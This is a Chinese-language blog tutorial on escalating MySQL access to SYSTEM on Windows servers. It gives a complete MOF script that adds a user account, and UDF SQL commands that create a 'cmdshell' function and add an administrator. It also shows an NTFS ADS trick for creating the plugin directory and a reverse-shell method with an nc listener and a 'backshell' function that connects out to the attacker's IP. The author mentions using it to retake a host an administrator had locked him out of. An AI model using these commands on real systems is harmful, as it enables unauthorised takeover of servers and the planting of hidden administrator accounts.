利用mysql的几种提权方式
利用mysql的几种提权方式
mof提权
1.原理
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
2.利用条件
1. mysql用户具有root权限(对上面那个目录可写)
2. 关闭了secure-file-priv
3.利用方式
下面是一段写好了的mof利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select \ From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:
select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
执行完后,你可以在你的webshell里执行使用net user查看是否多了一个admin用户,如果有则说明可以利用,否则就不需要继续了。
注:经过我在win2003测试,没有成功利用。但是网上很多资料都提到win2003很容易利用,而更高版本的就很难成功了,所以大家遇到win2003可以试一下这种提权方式
udf提权
1.原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
2.利用条件
1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
4. 可以将udf.dll写入到相应目录的权限。
注:关于plugin目录,可在mysql中执行
show variables like '%plugin%';
进行查看,这个目录也就是dll文件需要导入的目录
3.利用方式
1. 将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误
2. 创建自定义函数
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
注意这里的函数名应该与dll文件中的函数名一致。
是不是感觉挺麻烦的,首先找dll文件就是一个问题,其实这个dll文件完全可以从带有udf提权功能的大马的源码中去找。当然我们也可以利用别人写好的工具,网络上有很多关于udf提权的利用脚本。
我用的这个脚本还不错
下面是我使用udf拿下之前一台被管理员踢出去的主机的截图
成功添加了test用户到管理员组
当然关于udf有一个特别需要注意的问题,就是5.1以上版本默认情况下/lib/plugin目录是不存在的,还好有大牛已经想出了解决办法——NTFS ADS流来创建文件夹(该方法我们测试过)
select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
上面的目录应该是相应的mysql目录,读者在测试时应该根据情况进行修改
注:udf提权也是一般应用于win2000、win2003系统
mysql反弹shell提权
其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin
目录。
注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的
- 然后创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
- 在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
- 最后就是执行backshell
select backshell("你的ip地址",12345);
上图是我在win2003的测试结果,但是我是通过webshell将udf.dll导入plugin目录完成的
- 如果成功返回了shell则说明成功了,我们就可以添加用户了
文中提到的脚本在我的公众号回复”udf提权”,可获得链接